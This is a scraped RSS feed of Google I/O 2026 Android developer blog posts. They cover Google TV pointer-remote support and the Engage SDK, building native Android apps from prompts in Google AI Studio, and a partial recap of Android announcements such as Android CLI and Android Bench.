  <p>To download the stable 1.0 release of the Android CLI, explore the new tools, and browse the complete documentation, head over to <a href="https://d.android.com/tools/agents">d.android.com/tools/agents</a> today!  Also, make sure you update to the <a href="https://developer.android.com/studio/preview">latest preview version of Android Studio</a> to unlock the latest features that Android CLI offers. We can't wait to see what you build with Android CLI 1.0 and how these new features supercharge your daily workflows. Join our vibrant community on <a href="https://www.linkedin.com/showcase/androiddev/posts/?feedView=all">LinkedIn</a>, <a href="https://medium.com/androiddevelopers">Medium</a>, <a href="https://www.youtube.com/c/AndroidDevelopers/videos">YouTube</a>, or <a href="https://twitter.com/androidstudio">X</a> and  share your feedback.</p><p>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google.</a></p></div>]]></content:encoded>
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<title><![CDATA[Increasing app discovery and engagement on Google TV]]></title>
<description><![CDATA[Posted by Paul Lammertsma, Developer Relations Engineer


  With over 300 million monthly active devices across Google TV and Android TV, it’s clear that the living room is a massive, distinct platform for apps to accelerate growth. Today, we’re excited to share Google TV features and developer t...]]></description>
<link>https://tsecurity.de/de/3693513/android-tipps/increasing-app-discovery-and-engagement-on-google-tv/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693513/android-tipps/increasing-app-discovery-and-engagement-on-google-tv/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:47 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQn4lINBGbNGjb1HQYUpv_Z0-JdltXyHegoQ-Ukl5l9K2ef4BSjX8c_yu0EWlnHSJnia8oXZYWvMtKxCP9t9PlJmI9GFIy34UDVfMBkEIaz3KJegu0j2TsivMZZPHg9tkIlsyK4NWd0vEq5v1MfQUay8zJ9-2QgLDLBlkqYVxnY7BaYa3QBTVRE3NKxxQ/s2048/GoogleForDevelopers-AndroidText-StrapiMetacard-2048x1323.png">


<div><div class="separator"><i>Posted by Paul Lammertsma, Developer Relations Engineer</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUUiNUfVyqYWETmRLzZjld7Nbk0wpVVqMlxvLssfmOzHDfOKdKI8vZkXau3HMhjkOKcXpeJ-K-JkXiKTLk9tG2XH-O5xPlj-AVfQBnelPGhzkOJwhmFeB3NqVssPj4Cnq9r1ZkAHh-44z-dq71bQOpjIz_8d1VF1m2nYs6azBGxNBrM2GOXm6uGJymbKk/s4209/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUUiNUfVyqYWETmRLzZjld7Nbk0wpVVqMlxvLssfmOzHDfOKdKI8vZkXau3HMhjkOKcXpeJ-K-JkXiKTLk9tG2XH-O5xPlj-AVfQBnelPGhzkOJwhmFeB3NqVssPj4Cnq9r1ZkAHh-44z-dq71bQOpjIz_8d1VF1m2nYs6azBGxNBrM2GOXm6uGJymbKk/s16000/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"></a></div><br><i><br></i><p dir="ltr"><br></p>

<p dir="ltr">
  With over 300 million monthly active devices across Google TV and Android TV, it’s clear that the living room is a massive, distinct platform for apps to accelerate growth. Today, we’re excited to share Google TV features and developer tools designed to increase the discoverability of your content and prepare your app for future TV experiences.
</p>

<h2 dir="ltr">Drive discovery and engagement with Gemini</h2>

<p dir="ltr">
  Last year, we brought our AI voice assistant, <a href="https://blog.google/products-and-platforms/platforms/google-tv/gemini-google-tv/">Gemini</a>, to our platform, so that people can easily find what to watch, learn something new on the big screen, and get everyday tasks done with just their voice.
</p>

<p dir="ltr">
  Since launch, we’ve made <a href="https://blog.google/products-and-platforms/platforms/google-tv/new-gemini-features-march-2026/">improvements</a> to how Gemini provides tailored responses to questions. Gemini shares a mix of visuals, videos, and text to help users find what they need, when they need it. For our streaming partners, Gemini is a helpful discovery engine—pulling from your app's metadata to surface your relevant content to viewers.
</p>

<div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN7u9KDZ7L8CIw5cVB_qdWf6PRcm86N8RsrlWPdEYsfwchPZwFBpMaajSqkPwXXAoBP0_v0GpQsWp4_gF_SsBC0DuZlN0qVystQ3fWmHs1qU6dKclljJaea-Phak7qEoGFiu_i3-dj0l7WmA7Tm7T2v8kERsfhKp6BCFs-7y7eSdxVWmFkpIzXYsceaJM/w640-h360/GTV%20Gemini%20-%20GOAT%20overview%20%5B10.8%20MB%5D.gif"></div>

<h2 dir="ltr">Declare support for pointing modality</h2>

<p dir="ltr">
  The TV experience that we once knew is changing. Gemini is changing the way we discover and stream content with voice, but how we use the remote is evolving, too.
</p>

<div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5hNXf8y8wwFxJAgZ0N4QwO5v6QUe7vn4Qy70-ndmo2iTye1qdhKP5WxKPJVwoPi0qdadX25BUJzxtLQZVAHXASOibVD0y3Xd_gFuOzp5GOIBwtXy_2jFa4lsTi4r1k6OzkTe5HyJGkOK-fNspRoo54mEA5IB8K4f0fVZ9UpgTWlringYByYxw3Bn_X1c/w640-h360/GTV%20Pointer%20Remote%20Demo_SHELL.gif"></div>

<p dir="ltr">
  Pointer remotes bring motion-controlled input to the big screen, unlocking faster user navigation across the Google TV Home page and within content-heavy apps. To ensure your app is ready for this shift and provides a great experience for all users, now is the time to start thinking about pointing input. Here’s how to get started:
</p>

<h4><span>1. Adapt your TV app UI Library</span></h4>
<p dir="ltr">
  You’ll need support for hover states, scrollable containers, and cursor clicks to enable pointer remote interactions for your app on Google TV. While implementation varies by UI stack, Jetpack Compose streamlines this transition, as most core components handle these multi-modal interactions natively out of the box.
</p>

<ol type="a">
  <li><strong>Hover state:</strong> Every focusable element on your screen (buttons, movie posters, setting toggles) needs a clear visual feedback mechanism for a hover state. This is often subtler than a focus state but critical for feedback.</li>
  <li><strong>Scrollable containers:</strong> Pointer remotes will also have a small circular touchpad for scrolling. Users can use this touchpad to scroll up or down, or left or right in your app. Your app will need to respond to touch events to scroll.</li>
  <li><strong>Cursor clicks:</strong> Many TV apps today expect a simple D-pad OKAY button “click.” With a pointer remote, a user may “click” on an element that’s not the D-pad focus state, but is instead from a hovered state (similar to a mouse click).</li>
</ol>

<h4><span>2. Test pointing interactions with a mouse today</span></h4>
<p dir="ltr">
  To see how your app handles hover, scroll, and clicks, simply connect a bluetooth mouse or wired mouse to your Google TV. Keep in mind that a mouse has more precise control, since users are closer to the screen and typically rest the mouse in a stable position. Pointer remotes can often be less precise, since users are sometimes 10 feet away from the screen, making rough gestures with the remote from their couch. As a TV designer or developer, you can mitigate this lack of input precision by having larger hover targets for elements.
</p>

<h4><span>3. Declare TV app support for pointer remotes on Google Play</span></h4>
<p dir="ltr">
  Finally, tell Google Play that your TV app is designed to work with a pointer. This ensures that users with pointer remotes will be able to easily find, install, and interact with your app.
</p>

<p dir="ltr">
  Within your AndroidManifest.xml, declare the meta-data tag, <span>android.software.leanback.</span><span>supports_touch</span>. This tag informs the platform that your TV app “spatially supports touch,” since pointer remotes simulate touch events from a distance.
</p>

<p dir="ltr"><strong><em>AndroidManifest.xml</em></strong></p>

<pre>&lt;manifest ...&gt;
    &lt;!-- Signal whether the app is adaptive or built just for TV --&gt;
    &lt;uses-feature android:name="android.software.leanback" android:required="true|false" /&gt;

    &lt;!-- Ensure the app can be installed on conventional TVs --&gt;
    &lt;uses-feature android:name="android.hardware.touchscreen" android:required="false" /&gt;

    &lt;!-- Signal whether the app supports pointer remotes --&gt;
    &lt;meta-data android:name="android.software.leanback.supports_touch" android:value="true|false"/&gt;

    &lt;application ...&gt;
        ...
    &lt;/application&gt;
&lt;/manifest&gt;
</pre>

<p dir="ltr"><strong>Tips:</strong></p><ul>
  <li>The <span>android.<strong>software</strong>.<strong>leanback</strong></span> feature declaration indicates that your app supports D-pad navigation and is intended for distribution only on TV devices via Google Play.</li>
  <li>The new software attribute of <span>android.software.leanback.</span><span>supports_touch</span> declares that in addition to D-pad, you have ensured that your TV app works well for pointer/cursor experiences via mouse (of today) and pointer remotes (of future).</li>
  <li>If you haven't already, now is the time to adopt <a href="https://developer.android.com/compose">Jetpack Compose</a>. Hover, scroll, and clicks are common input modalities that are supported on various form factors, and building your app with an adaptive UI framework enables code reusability and reduced maintenance.</li>
</ul>

<h2 dir="ltr">Onboard the Engage SDK</h2>
<p dir="ltr">
  The Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement.
</p>

<ul>
  <li><strong>Resumption:</strong> Partners can easily display a user's paused video within the 'Continue Watching' row from the Home page.</li>
  <li><strong>Entitlements:</strong> The Engage SDK streamlines entitlement management, which matches app content to user eligibility. Users appreciate this because they can enjoy personalized recommendations without needing to manually update all their subscription details. This allows partners to connect with users across multiple discovery points on Google TV.</li>
  <li><strong>Recommendations:</strong> The Engage SDK even highlights personalized recommendations based on content that users watched inside apps.</li>
</ul>

<p dir="ltr">
  It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. To get started, head to <a href="https://goo.gle/engage-tv">goo.gle/engage-tv</a> to learn more.
</p>

<p dir="ltr">
  We're excited to see how our latest Gemini experience and developer tools will optimize your discovery and drive user engagement on our platform.
</p>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
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<item>
<title><![CDATA[Build native Android apps in Google AI Studio]]></title>
<description><![CDATA[Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager

    Starting today Google AI Studio can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barr...]]></description>
<link>https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:46 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd6QUmqCnkvDT9M0IoWA6y_752MRk01nHVQOa644yYkgoMGMDk8Dy6ow6X4SqFzzODP-a1kRaNcuF-1ZyR_lk5fTfdbuEMKDvuX4s7LFaGNuMswzvMCFoYeaQ3RLf2OZPYUWN5BsnqRIsmDub85hpYZNGY7AsaHCsHlfkxLqfqm0PozMhkyqK4i6WfgGM/s2048/GoogleForDevelopers-AndroidCombo2-StrapiMetacard-2048x1323.png">


<div><div class="separator"><i>Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s4209/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s16000/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"></a></div><br><div><br></div>

    Starting today <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barrier to development. Whether you’re a seasoned developer looking to prototype at lightning speed or a creator building your first-ever mobile experience, you can now go from a single prompt to a high-quality, Kotlin-based Android app in AI Studio. You can easily install the app on your device, share it with others for testing, or send it to Android Studio for any further development.</div><div><h2>The power of native Android</h2>While AI has made it easy to generate web-based apps, people want more on their mobile devices. They expect the beautiful and usable modern app design and capabilities that come with native Android user experiences, built with the Kotlin programming language using Jetpack Compose, the official and recommended toolkit for Android development. Native Android apps bring the reliability of offline support, continuous background services, and the deep integration of hardware sensors like GPS, Bluetooth, and NFC. We've brought the technology that enables you to <a href="https://developer.android.com/studio/gemini/create-a-new-project-with-ai">quickly create new projects with Gemini in Android Studio</a> directly into the web-based AI Studio. Now, you get the best of both worlds: the ease of a prompt-based interface paired with the power of the Android SDK, all in your browser, no installation required.<br><h2><span>A seamless, end-to-end workflow</span></h2>
    We have streamlined the entire development lifecycle so you can focus on your idea: </div><div><b><br></b></div><div><b>1. Create your app and iterate in the cloud:</b> Use the embedded Android Emulator directly in your browser to preview and interact with your app as it’s being built. No heavy SDKs to download, no local setup required.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWOTqLBbAXBibOw5wN_-49Q21RuGxwPjhQESK5r3KctKIPz1uV4dg0_LiK0w6xxdvbLECzMHzQk-kQO9h1VdflTPKi3wM9sKrwZvLcPbtISBnL2H4acnG8gpEuPtbxpDHexKi4S8Eg_hcQv1_dZOCh78pFGi27aiWHMYZc1gsDA_Iq7SRbVRUkHhngrgw/w640-h544/AI_Studio_creation_step_v2.gif"></div><i><div><i>Use the embedded Android Emulator to create and edit Android Apps right in the web browser</i></div></i><div><br></div><b>2.</b> <b>Install instantly: </b>Connect your Android phone using a USB cable and install your app directly from AI Studio using the integrated Android Debug Bridge (adb).</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHMqfor305bPNhs_X2ahAxG8QmtpxtLKPrq44Uh4q1OpdsZyDlAuIyKJJDk-2v75-ErSLNp8yCyHQZn-6IQ-mkz8mfedEFtEJuD6VILIhtt8ypGpXmRuqM9LoJDDNnn-xrX3_Cr2MRUUcaEhVpJgCsjrjz-kwHHQeIhq8celQjg5Rt5_S5-j-_eSYpYaU/w640-h544/AI_Studio_Install_v2.gif"></div><div><i>Install the app on your Android device</i></div><div><br></div><b>3. Streamlined Publish to Google Play: </b>Using your <a href="https://play.google.com/console/signup">Google Play developer account</a>, you can now publish your app directly from AI Studio for testing. AI Studio will automatically create your app record, package the bundle, and upload it to an internal testing track in Google Play Developer Console. Your app is available for you to install within minutes, and you can automatically update your app on your device as you develop it further in AI Studio. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqGamXSrq6MNtz-PUt17netBXi_JiOMVERsoYV2mEArG8x5f-zCbU8WwTTaClpruCTsN4o3xeyMylDJLaWe0yCteqZJghc6sEXLYwoLPbTtnoa7761JVR_XEbm2Fj20IX142L2mGzU39vuNwLVVw0bDiSwICFelQZhxO63sG9N3GCo8Xx8wHY6gPEDj8c/w640-h544/AI_Studio_Play_v3.gif"></div><div class="separator"><i>Publish the app to an internal test track in Google Play</i></div>

    <br><div><b>Seamless app development handoff </b></div><div>As you iterate on your app in AI Studio, you may find you need more advanced Android tools or support for a wider variety of Android device types. To move beyond the browser, you can seamlessly hand off your project to <a href="https://developer.android.com/studio">Android Studio</a> by downloading a ZIP file or exporting it directly to GitHub.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNTwSv8o6QwB9QYZS_OezD7WhWQZiShTEu5aJz6_oGUfOu-2RQWmANs0jgeC1G1jrsZauVbeWzLHkjoZa_Ai_cjKvgbB_-Qzqh8-obzcNf9zKTJSG4AfvXTogb0xsCxcHRS4P-LHFKk1pm8sTdDjIn8A5b9vX8GRRvHrCvN9_xoPm6hPzN1rct5Aph3Zc/w640-h206/AI_Studio_Download.png"></div><div><span><i>Download zip file of Android app project files</i></span></div><div><span><i><br></i></span></div>When transitioning to a team environment or local development, you can leverage any IDE or agent you prefer. For a specialized experience, we recommend <a href="https://developer.android.com/gemini-in-android">Gemini in Android Studio</a>, which features models designed with Android in mind, or Antigravity, which integrates <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> commands into Google’s agentic development platform. This workflow makes building high-quality apps more accessible while giving you total flexibility in how you use AI to scale your project.</div><div><h2>Start building today</h2><div>To ensure a safe, high-quality ecosystem from day one, we have focused our initial release on specific capabilities including:</div><div><ul><li><b>Personal utilities and simple social apps: </b>You can rapidly prototype single or multi-screen apps, such as habit trackers, study quizzes, or event itineraries.</li><li><b>Hardware-enabled experiences:</b> Because you are building native apps, you can leverage device features like the Camera, GPS/Location, Accelerometer and Bluetooth using the native Android APIs, letting you optimize hardware-level performance.</li><li><b>AI-powered experiences: </b>You can create apps that feature Gemini API integrations, seamlessly embedding powerful AI capabilities directly into your mobile experience.</li></ul></div><h2><span>What’s Next?</span></h2>
    <div>We are moving fast to expand what’s possible for creators in AI Studio. Here is a sneak peek at what is coming soon:</div><div><ul><li><b>Managing Google Play Test Tracks: </b>Coming soon, we will be adding the ability to invite testers to try your app directly from AI Studio. </li><li><b>Firebase integrations: </b>Out-of-the-box support for Firestore, Firebase Auth, Firebase App Check and other tooling critical for Android developers is coming soon.</li></ul></div><div><br></div><div>Head over to <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> right now to start building. Here is some inspiration to get you started… </div><div><br></div><table border="1">
        <tbody><tr>
            <td colspan="2">Turn your Google Pixel Watch into an aviation assistant</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a small airplane "6-pack" instrument app for Google Pixel Watch. The 6 instruments should include attitude indicator, airspeed indicator, altimeter, turn coordinator, vertical speed indicator, and heading indicator. Use the Google Pixel Watch's sensors to power the instruments and display them clearly. Display one instrument at a time on the display. Swiping to the left or right should cycle through the instruments.</div>
            </td>
            <td><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRi7_vRI0TgaUYUE-g6kX-Gbg5Vf8ZVNY0H5n-2p8Ml32hyphenhyphenFvWAjp5re6AWpFKHLv1-rokBy_qfXexN61uQ9bpeDE_1DKfTrY3CkepiZMkNIEC5UlvBYng_OqersnyVS5Nu_zCuJJQ2w4NBaxWDC8duVnC0ILvWEpeg49N7aoJh1z6o_-BJHfBCnZKpz0/s320/wearOS_ai_studio.gif"></div><br></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">Interactive Harmonium app on Google Pixel Fold</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a Harmonium app for Pixel Fold devices, which plays like the instrument based on the hinge angle and touch gestures. The app should simulate the bellows and reeds accurately.</div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8hUGuJaj76omAAgO2RqZKZ_qGvgThfE0tKA-99BJ82G2UOw8h1qT5H7sM5C7n_k2tN5CD0LpJyOFor3HefsKarRPmWTo35ltnDihv2MsddEUcZN5t5fgeJWuJ60Y3XCEqqLhd7gkGyAbM6vnGau0PLE8BohPat8lQ-63fQLudrFUVRVpkFUJ9wMFX1oc/w179-h200/Tiny%20Harmonica%20demo.gif"></div></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">An Android app for guitarists to become better musicians by jamming to backing tracks </td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div><div><span>Build an Android guitar practice companion app that features a two-tab navigation system: 'Fretboard' and 'Library'.</span></div><div><span><br></span></div><div><span>The 'Fretboard' primary screen must contain an interactive guitar neck UI that visually maps out user-selected root notes, musical scales, and chords. Above the fretboard, implement a WebView-based YouTube player configured to play embedded videos inline. Additionally, include an AI generation feature that uses Retrofit to call Gemini Lyria 3 to create custom, 30-second backing tracks based on the user's currently selected key and scale. The generated audio files and their metadata must be saved locally using a database and displayed as a list in the 'Library' tab, where users can delete or play them.</span></div><div><span><br></span></div><div><span>Finally, implement a persistent, globally visible mini audio player at the bottom of the screen, complete with play/pause toggles, a progress slider for seeking, and timestamp text, allowing the user to seamlessly practice on the fretboard tab while listening to their tracks.</span></div><div><br></div></div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2pWobL4G7-4deWwvMpRmtfHG1OuXyc_bHwq6fPszYT1Vztm4g_HaN28PVg6Hwd3_N2Qd82HS1QtpUGKCTUFiCuLBwMpcA-8sMC6dJtSDGKEVAaV1kxumYMZi3kTB9NnUIEf9xQPKyyfvKb8MZUyNGnYNAEHTxyHpWCEvN2xgQsj5X09LW_FHU1n0aJQg/w221-h400/guitar_app_AI_Studio.gif"></div></td>
        </tr>
    </tbody></table>

    We are looking forward to seeing what you build next!</div><div><br></div><div>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
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<item>
<title><![CDATA[17 Things to know for Android developers at Google I/O]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP, Product Management, Android DeveloperToday at Google I/O, we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcemen...]]></description>
<link>https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:45 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP7OJeCTRC-RN9j39-rULmU26qB-lZoyIZjjDrq07Z7b5GsfHz3q18ftSgcWReGBgIBkp03B6BVghzWllOC38o4jckzzq-e4a8R23ISeegev98zubhGXbIzhTZaqbCTaPLJC2zkxKYvvNspcM4yXkk94f6PEQHpdyMvlpwogicTWQRn3GEksJHOTQDIG4/s2048/GoogleForDevelopers-AndroidText-StrapiMetacard-2048x1323.png">


<div><div class="separator"><div class="separator"><div class="separator"><i>Posted by Matthew McCullough, VP, Product Management, Android Developer</i></div></div></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s4209/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s16000/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"></a></div><div><br></div>Today at <a href="https://io.google/2026/">Google I/O,</a> we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcements for Android developers; you can also <a href="https://www.youtube.com/live/KvTRMSa1w4E?si=QBAxNvihPwJCJUuS">see what was announced last week</a> in <a href="https://developer.android.com/events/show">The Android Show: I/O Edition</a>. Stay tuned over the next two days as we dive into all of the topics in more detail!<h2><strong><span>Build High Quality Android Apps Using Agents</span></strong></h2>

  <h3><strong><span>1: Android CLI: helping you build with any agent, LLM, and tool</span></strong></h3>
  <a href="https://goo.gle/CLI_IO26">Android CLI is now stable</a>. It offers programmatic tools that allow any AI agent, including Claude Code, Codex, or Antigravity, to perform core Android tasks much more easily and efficiently. With today’s release, it also provides a bridge to tap directly into the "heavy-lifting" power of Android Studio to give you the production-ready polish needed for professional Android development. By leveraging the new android studio commands, developers can now grant their preferred agents the ability to perform semantic symbol resolution, analyze files for warnings, and even render Jetpack Compose previews. This release also enables official support for "Journeys" through new <a href="https://developer.android.com/tools/agents/android-skills">Android skills</a>, which enables agents to execute end-to-end UI tests under your direction. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.    <p><span></span></p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXrW3yDK9uH_I8MDyVxgYbPAXfrNTJvlMkXhaZFrM1X9ob0LvQbGe_ZC6anUeO_VNd181iptI_MIuEEpX-9GZdf6ZTJCN-WHpPzDCLOeSblo8vrjliSZ0rRrHwIsERWBjbbosP-M_WvA2pva9mF5FWVygAwQbdiW3SLZgJj9TpRIruG4H-ILsvSq_b4dc/w640-h442/agy-android-cli%20(2).png"></div><div class="separator"><span><i>You can now easily install Android CLI for use with Google Antigravity 2.0.</i></span></div><p></p>

  <h3><strong><span>2: Build production-ready apps with ease in Google AI Studio</span></strong></h3>
  Developers and creators can now <a href="http://android-developers.googleblog.com/2026/05/build-android-apps-google-ai-studio.html">build native Android apps, simply with a prompt in Google AI Studio</a>. The apps are built with development best practices like Jetpack Compose, Kotlin, and APIs that leverage our recommended developer patterns. Google AI Studio enables developers to prototype, iterate via an embedded emulator, and deploy to physical devices without heavy local installations. Developers are then able to take those apps and share them to Android devices, as well as share them with others for testing through Google Play Console’s internal testing track. If a developer wants to prepare their app for a wider release, they’re able to take it to Android Studio for advanced debugging, testing, and UI polish. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.<br><br><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdRaw1v6rolr4alo0C6AWKdFchsMEQgtOGfmk2Ramb0IoOB7smDcVU3yC7YJMkvVQuCPJ9vQW53tQjaV-5wcgOGzMtFDmb_Jbv40an1kvQdqYburXnsONvLqckKL2MWuShi3XmQEstW761oOLjujOk3FMsh3FyAiy5-Pe7xdTwFdfkWOmEnHhQfUJhtCo/w640-h544/image1.gif"></div><i><div class="separator"><i>Use the embedded Android Emulator to create Android apps in Google AI Studio</i></div></i></div><h2><strong><span>3: Accelerating AI coding assistance with Android Bench</span></strong></h2>
  <a href="http://d.android.com/bench">Android Bench</a> is our LLM leaderboard for Android development challenges. The goal is to accelerate model improvements, so you have more useful options for AI assistance. Many of you have been using open-weight models for AI assistance, so we’re now adding commonly used ones, such as Gemma 4, to the leaderboard, so you can see how LLMs that offer offline access and additional flexibility for power-users measure up. We're continuously working on increasing the difficulty of challenges we’re giving LLMs, to continue encouraging more useful improvements. <h3><strong><span>4: Convert iOS apps to Android with the Migration Assistant in Android Studio</span></strong></h3>
  The Migration Assistant in Android Studio is designed to port apps from platforms like iOS, React Native, or web frameworks to native Android. By simply selecting an existing project, developers can have the agent intelligently map features, convert assets like storyboards and SVGs, and implement Android best practices using Jetpack Compose and our recommended Jetpack libraries. This effectively transforms what used to be weeks of manual porting into a streamlined agentic workflow that only takes hours. We shared a preview of the incoming feature in the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>. </div><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK7UKI_nzS7gOkDXYONAjCNbQ4eSqlgT8qqMT5D4qf0OjQUNtxj4Urpq-eTROMEDgrqLKGlwMm_lHA7ayG_BC1DkitQI1ZKsF5gYr-mPIxFUsz_8JPcVHFAtnHZoO2CrVjMEvJrqvBz8_WU1I0T1P2diDprR2B47PcA21oS3RLtbgrhmrpiWV-MAw9ks4/w640-h360/image9%20(1).gif"></div><div class="separator"><i>A sneak peek of the Migration Assistant converting an iOS app into a native Android app</i></div>

  <h2><strong><span>Building AI Into Your Apps</span></strong></h2>

  <h3><strong><span>5: Building Intelligent Apps with generative AI</span></strong></h3>
